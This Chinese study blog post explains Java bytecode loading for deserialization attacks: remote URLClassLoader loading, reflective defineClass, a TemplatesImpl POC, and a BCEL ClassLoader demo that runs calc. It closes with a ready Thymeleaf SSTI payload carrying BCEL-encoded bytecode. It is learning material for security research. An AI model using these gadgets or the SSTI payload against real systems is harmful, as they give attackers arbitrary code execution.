前言
依旧跟着p牛的文章和狗佬的文章学,在大佬的文章之上加入了一些自己的理解
字节码
Java字节码(ByteCode)指的是JVM虚拟机执行使用的一类指令,通常被存储在 .class 文件中
因为Java是一门跨平台的编译型语言,所以开发者只需要将自己的代码编译一次,即可运行在不同平台的VM虚拟机中,甚至可以用Kotlin,Groovy这样能编译成 .class 文件的语言在JVM虚拟机中运行
以上是狭义上的字节码
这里的字节码要更广义一些:所有能够恢复成一个类并在JVM虚拟机里加载的字节序列,其实都能被理解为字节码
利用 URLClassLoader 加载远程class文件
Java的ClassLoader
是用来加载字节码文件最基础的方法,我们在cc1链涉及的java动态代理中已经见过了
ClassLoader是一个“加载器”,告诉Java虚拟机如何加载这个类。Java默认的 ClassLoader 就是根据类名来加载类,这个类名是类完整路径,如 java.lang.Runtime 。
而这里要用到的URLClassLoader
是我们平时默认使用的 AppClassLoader 的父类,所以接下来就相当于解释默认的Java类加载器的工作流程
一般情况下,Java会根据配置项sun.boot.class.path
和java.class.path
中列举到的基础路径(这些路径是经过处理后的 java.net.URL 类)来寻找 .class 文件来加载,这些路径分为三种情况:
- URL未以斜杠 / 结尾,则认为是一个JAR文件,使用 JarLoader 来寻找类,即为在Jar包中寻找 .class 文件
- URL以斜杠 / 结尾,且协议名是 file ,则使用 FileLoader 来寻找类,即为在本地文件系统中寻找 .class 文件
- URL以斜杠 / 结尾,且协议名不是 file ,则使用最基础的 Loader 来寻找类
前两个毫无疑问是本地用的,而最后一个情况要在非file协议的情况下才会用到,那最常见的就是http协议
简单写一段java代码编译成 .class(不要带上package,不然会变得不幸x)
public class Hello {
public Hello() {
System.out.println("Hello, world!");
}
}
用javac Hello.java
编译,然后本地起一个http服务,我这里用python -m http.server 8000
package com.example;
import java.net.URL;
import java.net.URLClassLoader;
public class HelloClassLoader
{
public static void main( String[] args ) throws Exception
{
URL[] urls = {new URL("http://localhost:8000/")};
URLClassLoader loader = URLClassLoader.newInstance(urls);
Class c = loader.loadClass("Hello");
c.newInstance();
}
}
成功请求并执行了Hello.class
所以,作为攻击者,如果我们能够控制目标 Java ClassLoader 的基础路径为一个http服务器,则可以利用远程加载的方式执行任意代码
利用 ClassLoader#defineClass 直接加载字节码
不管是加载远程class文件,还是本地的class或jar文件,Java都经历的是下面这三个方法调用:
ClassLoader#loadClass -> ClassLoader#findClass -> ClassLoader#defineClass
- loadClass:从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行 findClass
- findClass:根据基础URL指定的方式来加载类的字节码
- defineClass:处理前面传入的字节码,将其处理成真正的Java类
其中最关键的就是 defineClass,它决定了如何将一段字节流转变成一个Java类,而它是一个native层方法,逻辑在JVM的C语言代码中
那么我们准备一个demo,让系统的 defineClass 直接加载字节码:
package com.example;
import java.lang.reflect.Method;
import java.util.Base64;
public class HelloDefineClass {
public static void main(String[] args) throws Exception {
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAGwoABgANCQAOAA8IABAKABEAEgcAEwcAFAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApTb3VyY2VGaWxlAQAKSGVsbG8uamF2YQwABwAIBwAVDAAWABcBAAtIZWxsbyBXb3JsZAcAGAwAGQAaAQAFSGVsbG8BABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAABAAEABwAIAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoAAAAOAAMAAAACAAQABAAMAAUAAQALAAAAAgAM");
Class hello = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello", code,0, code.length);
hello.newInstance();
}
}
其中的base64部分是字节码的System.out.println("Hello World")
注意:在defineClass
被调用的时候类对象是不会被初始化的,只有这个对象显式地调用其构造函数才能继续执行初始化代码,即使我们将初始化代码放在类的static块中也无法被直接调用到。所以需要想办法调用构造构造函数,在这里就是hello.newInstance()
当然,ClassLoader#defineClass
是一个保护属性,我们没法在外部直接访问,只能使用反射来进行调用
实际情形里defineClass方法作用域不开放,但它却是攻击链TemplatesImpl里非常重要的一环
TemplatesImpl 加载字节码
defineClass 比较底层,java开发很少使用到这个东西,不过还是有一些类使用了这个方法,这就是TemplatesImpl
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
这个类中定义了一个内部类 TransletClassLoader
static final class TransletClassLoader extends ClassLoader {
private final Map<String,Class> _loadedExternalExtensionFunctions;
TransletClassLoader(ClassLoader parent) {
super(parent);
_loadedExternalExtensionFunctions = null;
}
TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
super(parent);
_loadedExternalExtensionFunctions = mapEF;
}
public Class<?> loadClass(String name) throws ClassNotFoundException {
Class<?> ret = null;
// The _loadedExternalExtensionFunctions will be empty when the
// SecurityManager is not set and the FSP is turned off
if (_loadedExternalExtensionFunctions != null) {
ret = _loadedExternalExtensionFunctions.get(name);
}
if (ret == null) {
ret = super.loadClass(name);
}
return ret;
}
/**
* Access to final protected superclass member from outer class.
*/
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
}
很明显这里重写了 defineClass 方法,并且没有显式地声明其定义域
在java里如果一个方法没有显式声明作用域,其作用域为default
,所以这里的defineClass其实已经从protected类型变成了一个defaulted
类型,已经可以被外部调用了
追溯一下,得到调用链如下:
TemplatesImpl#getOutputProperties() ->
TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses() ->
TransletClassLoader#defineClass()
看最前面的两个方法:TemplatesImpl#getOutputProperties()
和TemplatesImpl#newTransformer()
这两个的作用域都是public,可以被外部调用,我们尝试用newTransformer()
构造poc:
package com.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.util.Base64;
public class TemplatesImplTest {
public static void main(String[] args) throws Exception {
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAGwoABgANCQAOAA8IABAKABEAEgcAEwcAFAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApTb3VyY2VGaWxlAQAKSGVsbG8uamF2YQwABwAIBwAVDAAWABcBAAtIZWxsbyBXb3JsZAcAGAwAGQAaAQAFSGVsbG8BABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAABAAEABwAIAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoAAAAOAAMAAAACAAQABAAMAAUAAQALAAAAAgAM");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj,"_bytecodes",new byte[][]{bytes});
setFieldValue(obj,"_name","test");
setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
obj.newTransformer();
}
// 利用反射给私有变量赋值的方法
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
这里我们使用了setFieldValue
方法设置私有属性,分别是_bytecodes
、_name
和_tfactory
_bytecodes
:不能为空,需要一个二维数组但是
_bytecodes
作为传递进 defineClass 方法的值是一个一维数组,而这个一维数组里面我们需要存放恶意的字节码写法如下:
byte[] evil = Files.readAllBytes(Paths.get("evil.class")); byte[][] codes = {evil};
_name
:可以是任意字符串,只要不为null即可_tfactory
:需要是一个 TransformerFactoryImpl 对象,因为 TemplatesImpl#defineTransletClasses() 方法里有调用到_tfactory.getExternalExtensionsMap()
,如果是null会出错注意到
_tfactory
的关键字是transient
,这就导致了这个变量在序列化之后无法被访问,类中的定义如下:private transient TransformerFactoryImpl _tfactory = null;
直接修改是不行的,但是我们这里的利用要求比较低,只要让
_tfactory
不为 null 即可,我们去看一看_tfactory
的其他定义如何在
readObject()
方法中,找到了_tfactory
的初始化定义,所以这里直接在反射中将其赋值为TransformerFactortImpl
即可
但这个POC没法直接运行,跑了会报错,顺着报错在 TemplatesImpl 下个断点就能发现问题
418行这里检测了传入的字节码是否继承 ABSTRACT_TRANSLET
这个父类,没有则抛出异常
即TemplatesImpl对加载的字节码是有要求的:这个字节码对应的类必须是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
的子类
所以我们需要构造一个继承了AbstractTranslet
的类,在他的构造方法里去写我们要执行的代码
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class TempClass extends AbstractTranslet {
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public TempClass(){
super();
System.out.println("Hello TemplatesImpl");
}
}
用javac
编译成class文件,再写一段代码转成base64
package com.example;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Base64;
public class BytecodeToBase64 {
public static void main(String[] args) throws Exception {
// 读取字节码文件,这里只能用绝对路径
Path path = Paths.get("D:\Code\Java\Java unserialize\demo\src\main\java\com\cc1\TempClass.class");
byte[] bytecode = Files.readAllBytes(path);
// 将字节码转换为Base64格式字符串
String base64 = Base64.getEncoder().encodeToString(bytecode);
// 输出Base64格式字符串
System.out.println(base64);
}
}
把那个输出的base64填充进去,得到我们最终的poc:
package com.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.util.Base64;
public class TemplatesImplTest {
public static void main(String[] args) throws Exception {
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBAA5UZW1wQ2xhc3MuamF2YQwADgAPBwAbDAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABFjb20vY2MxL1RlbXBDbGFzcwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAA0ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAAEAAAAAbEAAAABAAoAAAAGAAEAAAASAAsAAAAEAAEADAABAA4ADwABAAkAAAAtAAIAAQAAAA0qtwABsgACEgO2AASxAAAAAQAKAAAADgADAAAAFQAEABYADAAXAAEAEAAAAAIAEQ==");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj,"_bytecodes",new byte[][]{bytes});
setFieldValue(obj,"_name","test");
setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
obj.newTransformer();
}
// 利用反射给私有变量赋值如下
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
成功执行
之后在多个Java反序列化利用链,以及fastjson、jackson的漏洞中,都会出现 TemplatesImpl 的身影
利用 BCEL ClassLoader 加载字节码
版本限制:低于JDK 8u25
BCEL
参考:https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html
BCEL,全名 Apache Commons BCEL,属于Apache Commons项目下的一个子项目,但其因为被Apache Xalan所使用,而Apache Xalan又是Java内部对于 JAXP 的实现,所以 BCEL 也被包含在了JDK的原生库中
BCEL库提供了一系列用于分析、创建、修改Java Class文件的API
这个库相较cc库最特殊的一点就是它被包含在了原生的JDK库中:com.sun.org.apache.bcel
JAXP 全名 Java API for XML Processing,是Java定义的一系列接口,用于处理XML相关的逻辑,包括DOM、SAX、StAX、XSLT等。Apache Xalan实现了其中XSLT相关的部分,其中包括xsltc compiler
XSLT(扩展样式表转换语言)是一种为可扩展置标语言提供表达形式而设计的计算机语言,主要用于将XML转换成其他格式的数据。既然是一门动态“语言”,在Java中必然会先被编译成Java,才能够执行。
XSLTC Compiler 就是一个命令行编译器,可以将一个 xsl 文件编译成一个class文件或jar文件,编译后的class被称为 translet,可以在后续用于对XML文件的转换。其实就将 XSLT 的功能转化成了Java代码,优化执行的速度,如果我们不使用这个命令行编译器进行编译,Java内部也会在运行过程中存在编译的过程。
利用
参考:https://boogipop.com/2023/03/21/BCEL-ClassLoader%E8%B5%9B%E5%8D%9A%E5%AD%A6%E4%B9%A0/
我们可以通过BCEL提供的两个类Repository
和Utility
来利用:
- Repository 用于将一个Java Class先转换成原生字节码,当然这里也可以直接使用
javac
命令来编译java文件生成字节码; - Utility 用于将原生的字节码转换成BCEL格式的字节码
而 BCEL ClassLoader 用于加载这串特殊的“字节码”,并可以执行其中的代码
那么简单准备两个类
package com.example;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
public class HelloBCEL {
public static void main(String []args) throws Exception {
JavaClass javaClass = Repository.lookupClass(calc.class);
String code = Utility.encode(javaClass.getBytes(), true);
//Class.forName("$$BCEL$$"+code,true,new ClassLoader());
new ClassLoader().loadClass("$$BCEL$$"+code).newInstance();
}
}
package com.example;
import java.io.IOException;
public class calc {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
这个poc首先通过Repository
去读取 calc.class 文件,随后使用Utility.encode
对字节流进行编码,最后在编码结果前加上$$BCEL$$
即可弹出计算器(注释中的payload也是可以的)
在各个链子中的利用
FastJson BCEL
https://blog.csdn.net/GX233/article/details/124655533
Thymeleaf SSTI BCEL
https://turn1tup.github.io/2021/08/10/spring-boot-thymeleaf-ssti/
lang=::__${"".getClass().forName("$$BCEL$$$l$8b$I$A$A$A$A$A$A$AePMO$c2$40$U$9c$85B$a1$W$84$e2$f7$b7$t$c1$83$3dx$c4x1z$b1$w$R$83$e7$ed$b2$c1$c5$d2$92R$8c$fe$o$cf$5e$d4x$f0$H$f8$a3$8c$af$x$R$a3$7bx$_o$e6$cdL$de$7e$7c$be$bd$D$d8$c7$b6$F$Ts$W$e6$b1P$c0b$da$97L$y$9bX1$b1$ca$90$3fP$a1J$O$Z$b2$f5F$87$c18$8a$ba$92a$d6S$a1$3c$l$P$7c$Z_q$3f$m$c4$f1$o$c1$83$O$8fU$3aO$40$p$b9Q$a3$94$T$d1$c0$f5$a5$I$dc$W$7f$I$o$dem2$U$OD0$b1$$$b5$T$$n$cf$f8P$cb$u$9c$c1jG$e3X$c8$T$95$da$d8$T$d5$5e$9f$dfq$h$F$UM$ac$d9X$c7$GEP$aa$b0$b1$89$z$86Z$ca$bb$B$P$7b$ee$f1$bd$90$c3DE$nC$e5o8A$d3$c5$L$bf$_E$c2P$9dB$97$e30Q$D$ca$b5z2$f9$Z$e6$eb$N$ef$df$O$dda$c8$7b$v$Yv$ea$bf$d8v$S$ab$b0$d7$fc$zh$c5$91$90$a3Q$T$db$c8$d3$7f$a7$_$D$96$deB$d5$a2$c9$a5$ce$a8$e7v_$c0$9e4$3dC5$af$c1$Ml$aa$f6$f7$CJ$uS$_$60$f6G$7c$a1$cd$80$f2$x2N$f6$Z$c6$f5$p$8c$d3$t$8d$VI$97CV$bb90$a8$9a$84YH$3f$b2D$a8$ad$fd$81$8af2$9e$89$wH$e8h$b8$f6$Fz7$85$d0$t$C$A$A", true, "".getClass().forName("com.sun.org.apache.bcel.internal.util.ClassLoader").newInstance())}_______________